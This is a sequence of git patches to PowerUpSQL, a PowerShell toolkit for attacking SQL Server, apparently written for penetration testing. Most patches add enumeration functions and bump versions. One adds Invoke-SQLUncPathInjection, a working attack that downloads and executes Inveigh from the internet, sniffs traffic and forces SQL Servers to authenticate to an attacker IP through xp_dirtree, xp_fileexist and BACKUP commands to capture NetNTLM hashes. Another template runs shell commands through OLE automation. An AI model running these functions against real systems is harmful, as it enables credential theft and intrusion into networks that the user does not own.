SQLServer1\STANDARDDEV2014 + ComputerName : SQLServer1 + Instance : SQLServer1\STANDARDDEV2014 policy_id : 17 PolicyName : WatchAllTheThings condition_id : 18 @@ -13853,7 +13855,9 @@ Function Get-SQLServerPolicy # Define Query $Query = " -- Get-SQLServerPolicy.sql - SELECT p.policy_id, + SELECT '$ComputerName' as [ComputerName], + '$Instance' as [Instance], + p.policy_id, p.name as [PolicyName], p.condition_id, c.name as [ConditionName], From 5921360bdf7760def2b79b8a9214075b22af80b2 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 14 Sep 2017 22:28:08 -0500 Subject: [PATCH 107/145] Add get-sqlprocedurexp Add function that returns list of custom stored procedures. --- PowerUpSQL.ps1 | 208 ++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 207 insertions(+), 1 deletion(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index be791e6..30ffac3 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.84.104 + Version: 1.84.105 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -9750,6 +9750,212 @@ Function Get-SQLStoredProcedure } +# ---------------------------------- +# Get-SQLStoredProcedureXP +# ---------------------------------- +# Author: Scott Sutherland +Function Get-SQLStoredProcedureXP +{ + <# + .SYNOPSIS + Returns custom extended stored procedures from target SQL Server databases. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DatabaseName + Database name to filter for. + .PARAMETER ProcedureName + Procedure name to filter for. + .PARAMETER NoDefaults + Filter out results from default databases. + .EXAMPLE + PS C:\> Get-SQLStoredProcedureXP -Instance SQLServer1\STANDARDDEV2014 -DatabaseName master + + ComputerName : SQLServer1 + Instance : SQLServer1\STANDARDDEV2014 + DatabaseName : master + name : xp_evil + Object_id : 1559676604 + principal_id : + schema_id : 1 + parent_object_id : 0 + type : X + type_desc : EXTENDED_STORED_PROCEDURE + create_date : 9/11/2017 11:36:06 AM + modify_date : 9/11/2017 11:36:06 AM + is_ms_shipped : False + is_published : False + is_schema_published : False + + .EXAMPLE + PS C:\> Get-SQLInstanceDomain | Get-SQLStoredProcedureXP -Verbose + #> + + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server database name.')] + [string]$DatabaseName, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Procedure name.')] + [string]$ProcedureName, + + [Parameter(Mandatory = $false, + HelpMessage = "Don't select tables from default databases.")] + [switch]$NoDefaults, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Table for output + $TblXpProcs = New-Object -TypeName System.Data.DataTable + + # Setup routine name filter + if ($ProcedureName) + { + $ProcedureNameFilter = " AND NAME like '$ProcedureName'" + } + else + { + $ProcedureNameFilter = '' + } + } + + Process + { + # Parse ComputerName + If ($Instance) + { + $ComputerName = $Instance.split('\')[0].split(',')[0] + $Instance = $Instance + } + else + { + $ComputerName = $env:COMPUTERNAME + $Instance = '.\' + } + + # Test connection to instance + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + Write-Verbose -Message "$Instance : Grabbing stored procedures from databases below:" + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Setup NoDefault filter + if($NoDefaults) + { + # Get list of databases + $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -HasAccess -NoDefaults -SuppressVerbose + } + else + { + # Get list of databases + $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -HasAccess -SuppressVerbose + } + + # Get role for each database + $TblDatabases | + ForEach-Object -Process { + # Get database name + $DbName = $_.DatabaseName + + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : - $DbName" + } + + # Define Query + $Query = " use [$DbName]; + SELECT '$ComputerName' as [ComputerName], + '$Instance' as [Instance], + '$DbName' as [DatabaseName], + name, + Object_id, + principal_id, + schema_id, + parent_object_id, + type, + type_desc, + create_date, + modify_date, + is_ms_shipped, + is_published, + is_schema_published + FROM sys.objects where type = 'x' + $ProcedureNameFilter" + + # Execute Query + $TblXpProcsTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Append results + $TblXpProcs = $TblXpProcs + $TblXpProcsTemp + } + } + + End + { + + # Count + $XpNum = $TblXpProcs.Count + if($XpNum -eq 0){ + + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : No custom extended stored procedures found." + } + } + + # Return data + $TblXpProcs + } +} + + # ---------------------------------- # Get-SQLStoredProcedureSQLi # ---------------------------------- From a818ede1ad69eb501850703f40cf016d7ecf935a Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 14 Sep 2017 22:29:09 -0500 Subject: [PATCH 108/145] Update version Update version --- PowerUpSQL.psd1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index 2d026c2..b7720d0 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.84.103' + ModuleVersion = '1.84.105' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From a2eda8181cd0fc2a750401edc8f78ecae7ff3e80 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 14 Sep 2017 22:34:32 -0500 Subject: [PATCH 109/145] Update Invoke-SQLDumpInfo Update Invoke-SQLDumpInfo - add sql server policies - add xp stored procedures --- PowerUpSQL.ps1 | 30 +++++++++++++++++++++++++++++- 1 file changed, 29 insertions(+), 1 deletion(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 30ffac3..beb6718 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.84.105 + Version: 1.84.106 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -22566,6 +22566,34 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } + # Getting Custom XP Stored Procedures + Write-Verbose -Message "$Instance - Getting custom extended stored procedures..." + $Results = Get-SQLStoredProcedureXP -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedure_xp.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedure_xp.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + + # Getting server policy + Write-Verbose -Message "$Instance - Getting server policies..." + $Results = Get-SQLServerPolicy -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_policy.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_policy.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + # Getting potential SQLi Stored Procedures Write-Verbose -Message "$Instance - Getting stored procedures with potential SQL Injection..." $Results = Get-SQLStoredProcedureSQLi -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose From 438de6510844b1ddfb84e000c6df09f58c3ed7b7 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 14 Sep 2017 22:36:31 -0500 Subject: [PATCH 110/145] Update version Update version --- PowerUpSQL.psd1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index b7720d0..e42fe82 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.84.105' + ModuleVersion = '1.84.106' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From 7fe968a0c29c0c79452b895dcee67d8d35cf310c Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 15 Sep 2017 11:04:17 -0500 Subject: [PATCH 111/145] Create Get-SQLStoredProcedureXp.sql --- templates/tsql/Get-SQLStoredProcedureXp.sql | 10 ++++++++++ 1 file changed, 10 insertions(+) create mode 100644 templates/tsql/Get-SQLStoredProcedureXp.sql diff --git a/templates/tsql/Get-SQLStoredProcedureXp.sql b/templates/tsql/Get-SQLStoredProcedureXp.sql new file mode 100644 index 0000000..bb107a1 --- /dev/null +++ b/templates/tsql/Get-SQLStoredProcedureXp.sql @@ -0,0 +1,10 @@ +/* + Script: Get-SQLStoredProcedureXP.sql + Description: This will list the custom exteneded stored procedures for the current database. + Author: Scott Sutherland, 2017 +*/ + +SELECT * FROM sys.objects o +INNER JOIN sys.syscomments s +ON o.object_id = s.id +WHERE o.type = 'x' From 2807b34fca82f32776f61f2a406ab65fded4318f Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 15 Sep 2017 11:18:27 -0500 Subject: [PATCH 112/145] Update Get-SQLStoredProcedureXp.sql --- templates/tsql/Get-SQLStoredProcedureXp.sql | 26 +++++++++++++++++++-- 1 file changed, 24 insertions(+), 2 deletions(-) diff --git a/templates/tsql/Get-SQLStoredProcedureXp.sql b/templates/tsql/Get-SQLStoredProcedureXp.sql index bb107a1..1132a7c 100644 --- a/templates/tsql/Get-SQLStoredProcedureXp.sql +++ b/templates/tsql/Get-SQLStoredProcedureXp.sql @@ -4,7 +4,29 @@ Author: Scott Sutherland, 2017 */ -SELECT * FROM sys.objects o +SELECT o.object_id, + o.parent_object_id, + o.schema_id, + o.type, + o.type_desc, + o.name, + o.principal_id, + s.text, + s.ctext, + s.status, + o.create_date, + o.modify_date, + o.is_ms_shipped, + o.is_published, + o.is_schema_published, + s.colid, + s.compressed, + s.encrypted, + s.id, + s.language, + s.number, + s.texttype +FROM sys.objects o INNER JOIN sys.syscomments s -ON o.object_id = s.id + ON o.object_id = s.id WHERE o.type = 'x' From 8b3fe309707605780a3d57bbd20f5474bd3ee229 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 15 Sep 2017 11:23:33 -0500 Subject: [PATCH 113/145] Update Get-SQLStoredProcedureXP Update Get-SQLStoredProcedureXP - updated help - added xp file path to output. --- PowerUpSQL.ps1 | 84 ++++++++++++++++++++++++++++++++------------------ 1 file changed, 54 insertions(+), 30 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index beb6718..279b337 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.84.106 + Version: 1.84.107 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -9776,21 +9776,32 @@ Function Get-SQLStoredProcedureXP .EXAMPLE PS C:\> Get-SQLStoredProcedureXP -Instance SQLServer1\STANDARDDEV2014 -DatabaseName master - ComputerName : SQLServer1 - Instance : SQLServer1\STANDARDDEV2014 - DatabaseName : master - name : xp_evil - Object_id : 1559676604 - principal_id : - schema_id : 1 - parent_object_id : 0 - type : X - type_desc : EXTENDED_STORED_PROCEDURE - create_date : 9/11/2017 11:36:06 AM - modify_date : 9/11/2017 11:36:06 AM - is_ms_shipped : False - is_published : False - is_schema_published : False + ComputerName : SQLServer1 + Instance : SQLServer1\STANDARDDEV2014 + DatabaseName : master + object_id : 1559676604 + parent_object_id : 0 + schema_id : 1 + type : X + type_desc : EXTENDED_STORED_PROCEDURE + name : xp_evil + principal_id : + text : \\acme.com@SSL\evilxp.txt + ctext : {92, 0, 92, 0...} + status : 0 + create_date : 9/11/2017 11:36:06 AM + modify_date : 9/11/2017 11:36:06 AM + is_ms_shipped : False + is_published : False + is_schema_published : False + colid : 1 + compressed : False + encrypted : False + id : 1559676604 + language : 0 + number : 0 + texttype : 2 + .EXAMPLE PS C:\> Get-SQLInstanceDomain | Get-SQLStoredProcedureXP -Verbose @@ -9914,20 +9925,33 @@ Function Get-SQLStoredProcedureXP SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], '$DbName' as [DatabaseName], - name, - Object_id, - principal_id, - schema_id, - parent_object_id, - type, - type_desc, - create_date, - modify_date, - is_ms_shipped, - is_published, - is_schema_published - FROM sys.objects where type = 'x' - $ProcedureNameFilter" + o.object_id, + o.parent_object_id, + o.schema_id, + o.type, + o.type_desc, + o.name, + o.principal_id, + s.text, + s.ctext, + s.status, + o.create_date, + o.modify_date, + o.is_ms_shipped, + o.is_published, + o.is_schema_published, + s.colid, + s.compressed, + s.encrypted, + s.id, + s.language, + s.number, + s.texttype + FROM sys.objects o + INNER JOIN sys.syscomments s + ON o.object_id = s.id + WHERE o.type = 'x' + $ProcedureNameFilter" # Execute Query $TblXpProcsTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose From 936f53a73108f50eb740d4352b6c80c0c49d3fea Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 15 Sep 2017 11:24:25 -0500 Subject: [PATCH 114/145] Update version Update version --- PowerUpSQL.psd1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index e42fe82..1ee0843 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.84.106' + ModuleVersion = '1.84.107' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From 673abb81f64ddca14d3bc13a4de2093964da424a Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 15 Sep 2017 21:22:12 -0500 Subject: [PATCH 115/145] Add exports Added exports - get-sqlserverpolicy - get-sqlstoredprocedurexp --- PowerUpSQL.psd1 | 2 ++ 1 file changed, 2 insertions(+) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index 1ee0843..b2668f2 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -50,6 +50,7 @@ 'Get-SQLServerLogin', 'Get-SQLServerLoginDefaultPw', 'Get-SQLServerPasswordHash', + 'Get-SQLServerPolicy', 'Get-SQLServerPriv', 'Get-SQLServerRole', 'Get-SQLServerRoleMember', @@ -60,6 +61,7 @@ 'Get-SQLStoredProcedureCLR', 'Get-SQLStoredProcedureSQLi', 'Get-SQLStoredProcedureAutoExec', + 'Get-SQLStoredProcedureXp', 'Get-SQLSysadminCheck', 'Get-SQLTable', 'Get-SQLTriggerDdl', From 41827671c8ce812798744bf558aea9163a357234 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 18 Sep 2017 16:23:42 -0500 Subject: [PATCH 116/145] Add Invoke-SQLUncPathInjection Add Invoke-SQLUncPathInjection --- PowerUpSQL.ps1 | 245 ++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 244 insertions(+), 1 deletion(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 279b337..dbc23f3 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.84.107 + Version: 1.85.107 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -844,6 +844,249 @@ Function Get-SQLQueryThreaded # ######################################################################### + +# ---------------------------------- +# Invoke-SQLUncPathInjection +# ---------------------------------- +# Author: Scott Sutherland (@_nullbind) +# Updates: Thomas Elling +Function Invoke-SQLUncPathInjection { + + <# + .SYNOPSIS + Locates domain sql servers, loads inveigh, attempts login, and unc path injects to capture password hash of associated service account. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER CaptureIp + IP address for listening and packet sniffing. + .EXAMPLE + PS C:\> Invoke-SQLUncPathInjection -Verbose -CaptureIp 10.1.1.12 + VERBOSE: Inveigh loaded + VERBOSE: You have Administrator rights. + VERBOSE: Grabbing SPNs from the domain for SQL Servers (MSSQL*)... + VERBOSE: Parsing SQL Server instances from SPNs... + VERBOSE: 36 instances were found. + VERBOSE: Attempting to log into each instance... + ... + Cleartext NetNTLMv1 + --------- --------- + Server1$::demo.local:A0F2FF845622186D00000000000000000000000000000000:091B709EFB488SDFSDF525D526BB5DCAAFE352C88A818A... + Server1$::demo.local:FFAF3DA18451B1CA00000000000000000000000000000000:7C3296SDF07E0230B4EF7D892789EB5F0D3ED251C4186... + Workstation$::demo.local:3284525F0D2A495B00000000000000000000000000000000:EF6CAD0F2738000490FSDFE5628CC82DAE67BE92A77690CB... + NASServer1$::demo.local:432194457F8D1D6FA00000000000000000000000000000000:63EE53E0D93448BC003BB560F80ASDF72881B676B529174F... + SvcUser::demo.local:DC334ECBFDD018B700000000000000000000000000000000:98A367A3E26A6E0F99E9F3DBE427FA07B231A9F6DCD51A8F... + DBA::demo.local:875A296AAFEDA8BE00000000000000000000000000000000:DDA8D84AA3F79807DSDF7ECD648264187FBD7EB849128... + + .NOTES + alt domain user: runas /noprofile /netonly /user:domain\users powershell.exe + #> + + [CmdletBinding()] + Param( + [Parameter(Mandatory=$false)] + [string]$Username, + + [Parameter(Mandatory=$false)] + [string]$Password, + + [Parameter(Mandatory=$false)] + [string]$DomainController, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory=$true)] + [string]$CaptureIp, + + [Parameter(Mandatory=$false)] + [int]$TimeOut = 5, + + [Parameter(Mandatory=$false)] + [int]$Threads = 10 + + ) + + Begin + { + # Attempt to load Inveigh via reflection - naturally this bombs if there is no outbound internet. Exits if not loaded. + try { + Invoke-Expression -Command (New-Object -TypeName system.net.webclient).downloadstring('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Scripts/Inveigh.ps1') -ErrorAction Stop + Write-Verbose "Inveigh loaded" + } catch { + $ErrorMessage = $_.Exception.Message + Write-Verbose "$ErrorMessage" + + # Check if Inveigh is loaded in memory + $Loaded = Test-Path -Path Function:\Invoke-Inveigh + if($Loaded -eq 'True') + { + Write-Verbose "Inveigh loaded." + }else{ + Write-Verbose "Inveigh NOT loaded. Ensure Inveigh is loaded." + break + } + } + + # Create table + $TblInveigh = New-Object -TypeName System.Data.DataTable + $null = $TblInveigh.Columns.Add('Cleartext') + $null = $TblInveigh.Columns.Add('NetNTLMv1') + $null = $TblInveigh.Columns.Add('NetNTLMv2') + } + + Process + { + + # Check if the current process has elevated privs + # https://msdn.microsoft.com/en-us/library/system.security.principal.windowsprincipal(v=vs.110).aspx + $CurrentIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent() + $prp = New-Object -TypeName System.Security.Principal.WindowsPrincipal -ArgumentList ($CurrentIdentity) + $adm = [System.Security.Principal.WindowsBuiltInRole]::Administrator + $IsAdmin = $prp.IsInRole($adm) + if (-not $IsAdmin) + { + Write-Verbose -Message "You do not have Administrator rights. Run this function in a privileged process for best results." + } + else + { + Write-Verbose -Message "You have Administrator rights." + + } + + # If SQL instances are not provided, autopug + if(-not $Instance) + { + # Discover SQL Servers on the Domain via LDAP queries for SPN records + $SQLServerInstances = Get-SQLInstanceDomain -verbose -DomainController $DomainController -Username $Username -Password $Password + } else { + # Test instances from pipeline and check connectivity + $SQLServerInstances = $Instance + } + + # Get list of SQL Servers that the provided account can log into + Write-Verbose -Message "Attempting to log into each instance..." + $AccessibleSQLServers = $SQLServerInstances | Get-SQLConnectionTestThreaded -Verbose -Threads $Threads | ? {$_.status -eq "Accessible"} + $AccessibleSQLServersCount = $AccessibleSQLServers.count + + # Status user + Write-Verbose -Message "$AccessibleSQLServersCount SQL Server instances can be logged into" + Write-Verbose -Message "Starting UNC path injections against $AccessibleSQLServersCount instances..." + + # Start sniffing + Write-Verbose -Message "Starting Invoke-Inveigh..." + Invoke-Inveigh -NBNS Y -MachineAccounts Y -IP $CaptureIp | Out-Null + + # Perform unc path injection on each one + $AccessibleSQLServers | + ForEach-Object{ + + # Get current instance + $CurrentInstance = $_.Instance + + # Randomized 5 character file name + $UncFileName = (-join ((65..90) + (97..122) | Get-Random -Count 5 | % {[char]$_})) + + # Start unc path injection for each interface + Write-Verbose -Message "$CurrentInstance - Injecting UNC path to \\$CaptureIp\$UncFileName" + + # Functions executable by the Public role that accept UNC paths - SQL Server 2000 to 2008 + # https://support.microsoft.com/en-us/help/321185/how-to-determine-the-version--edition-and-update-level-of-sql-server-a + + # Check version + $SQLVersionFull = Get-SQLServerInfo -Instance $CurrentInstance -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property SQLServerVersionNumber -ExpandProperty SQLServerVersionNumber + if($SQLVersionFull) + { + $SQLVersionShort = $SQLVersionFull.Split('.')[0] + } + + # Run the BACKUP commands for older version only (MS16-136) + if([int]$SQLVersionShort -le 11) + { + Get-SQLQuery -Instance $CurrentInstance -Username $Username -Password $Password -Query "BACKUP LOG [TESTING] TO DISK = '\\$CaptureIp\$UncFileName'" -SuppressVerbose | out-null + Get-SQLQuery -Instance $CurrentInstance -Username $Username -Password $Password -Query "BACKUP DATABASE [TESTING] TO DISK = '\\$CaptureIp\$UncFileName'" -SuppressVerbose | out-null + } + + # Functions executable by the Public role that accept UNC paths + Get-SQLQuery -Instance $CurrentInstance -Username $Username -Password $Password -Query "xp_dirtree '\\$CaptureIp\$UncFileName'" -SuppressVerbose | out-null + Get-SQLQuery -Instance $CurrentInstance -Username $Username -Password $Password -Query "xp_fileexist '\\$CaptureIp\$UncFileName'" -SuppressVerbose | out-null + + # Sleep to give the SQL Server time to send us hashes :) + sleep $TimeOut + + # Display stuff + Get-Inveigh -Cleartext | Sort-Object | + ForEach-Object { + Write-Verbose -Message " - Cleartext: $_" + } + + Get-Inveigh -NTLMv1 | Sort-Object | + ForEach-Object { + Write-Verbose -Message " - NetNTLMv1: $_" + } + + Get-Inveigh -NTLMv2 | Sort-Object | + ForEach-Object { + Write-Verbose -Message " - NetNTLMv2: $_" + } + } + } + + End + { + + # Get cleartext returned + Get-Inveigh -Cleartext | Sort-Object | + ForEach-Object { + + # Add records + [string]$NTLMv1 = "" + [string]$NTLMv2 = "" + [string]$Cleartext = $_ + $null = $TblInveigh.Rows.Add([string]$Cleartext, [string]$NTLMv1, [string]$NTLMv2) + } + + # Get NetNTLMv1 returned + Get-Inveigh -NTLMv1 | Sort-Object | + ForEach-Object { + + # Add records + [string]$NTLMv1 = $_ + [string]$NTLMv2 = "" + [string]$Cleartext = "" + $null = $TblInveigh.Rows.Add([string]$Cleartext, [string]$NTLMv1, [string]$NTLMv2) + } + + # Get NetNTLMv2 returned + Get-Inveigh -NTLMv2 | Sort-Object | + ForEach-Object { + + # Add records + [string]$NTLMv1 = "" + [string]$NTLMv2 = $_ + [string]$Cleartext = "" + $null = $TblInveigh.Rows.Add([string]$Cleartext, [string]$NTLMv1, [string]$NTLMv2) + } + + # Clear pw hash cache + Clear-Inveigh | Out-Null + + # Stop pw hash capture + Stop-Inveigh | Out-Null + + # Return results + $TblInveigh + + } +} + + # ---------------------------------- # Invoke-SQLOSCmd # ---------------------------------- From d86591856c718c50052ff53c1d5181e7b312ab0a Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 18 Sep 2017 16:25:02 -0500 Subject: [PATCH 117/145] Add Invoke-SQLUncPathInjection Add Invoke-SQLUncPathInjection --- PowerUpSQL.psd1 | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index b2668f2..12ea60f 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.84.107' + ModuleVersion = '1.85.107' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' @@ -87,6 +87,7 @@ 'Invoke-SQLEscalatePriv', 'Invoke-SQLImpersonateService', 'Invoke-SQLImpersonateServiceCmd', + 'Invoke-SQLUncPathInjection', 'Invoke-SQLOSCmd', 'Invoke-SQLOSCmdCLR', 'Invoke-SQLOSCmdCOle', From 694aa5d7089501a5b5391be0fffcc4e0d6301b9c Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 19 Sep 2017 10:05:15 -0500 Subject: [PATCH 118/145] Update oscmdexec_oleautomationobject.sql --- templates/tsql/oscmdexec_oleautomationobject.sql | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/templates/tsql/oscmdexec_oleautomationobject.sql b/templates/tsql/oscmdexec_oleautomationobject.sql index cb06320..83e1bd4 100644 --- a/templates/tsql/oscmdexec_oleautomationobject.sql +++ b/templates/tsql/oscmdexec_oleautomationobject.sql @@ -14,7 +14,7 @@ GO DECLARE @Shell INT DECLARE @Shell2 INT EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5 -EXEC Sp_oamethod @shell, 'run' , null, 'cmd.exe /c "echo Hello World > c:\temp\file.txt"' +EXEC Sp_oamethod @shell, 'run' , null, 'cmd.exe /c "echo Hello World > c:\windows\temp\file.txt"' -- Read results DECLARE @libref INT @@ -22,7 +22,7 @@ DECLARE @filehandle INT DECLARE @FileContents varchar(8000) EXEC sp_oacreate 'scripting.filesystemobject', @libref out -EXEC sp_oamethod @libref, 'opentextfile', @filehandle out, 'c:\temp\file.txt', 1 +EXEC sp_oamethod @libref, 'opentextfile', @filehandle out, 'c:\windows\temp\file.txt', 1 EXEC sp_oamethod @filehandle, 'readall', @FileContents out SELECT @FileContents @@ -31,7 +31,7 @@ GO -- Remove temp result file DECLARE @Shell INT EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5 -EXEC Sp_oamethod @Shell, 'run' , null, 'cmd.exe /c "DEL c:\temp\file.txt"' +EXEC Sp_oamethod @Shell, 'run' , null, 'cmd.exe /c "DEL c:\windows\temp\file.txt"' GO -- Disable Show Advanced Options From 072ef30e58a12fadaf71a5c9a28b12b109a332ff Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 19 Sep 2017 10:12:37 -0500 Subject: [PATCH 119/145] Update Audit Command Execution Template.sql --- templates/tsql/Audit Command Execution Template.sql | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/templates/tsql/Audit Command Execution Template.sql b/templates/tsql/Audit Command Execution Template.sql index 32d3582..a76ce56 100644 --- a/templates/tsql/Audit Command Execution Template.sql +++ b/templates/tsql/Audit Command Execution Template.sql @@ -30,9 +30,7 @@ WITH (STATE = ON) Use msdb CREATE DATABASE AUDIT SPECIFICATION [Audit_Agent_Jobs] FOR SERVER AUDIT [DerbyconAudit] -ADD (EXECUTE ON OBJECT::[dbo].[sp_delete_job] BY [dbo]), -ADD (EXECUTE ON OBJECT::[dbo].[sp_add_job] BY [dbo]), -ADD (EXECUTE ON OBJECT::[dbo].[sp_start_job] BY [dbo]) +ADD (EXECUTE ON OBJECT::[dbo].[sp_add_job] BY [dbo]) WITH (STATE = ON) -- DATABASE: Audit potentially dangerous procedures From 08fe1bf373e03ba9bc19e5b68b1d9b33cd83e6ed Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 25 Sep 2017 12:29:09 -0500 Subject: [PATCH 120/145] Add Lee Christensen attribution Added Lee Christensen attribution for CLR 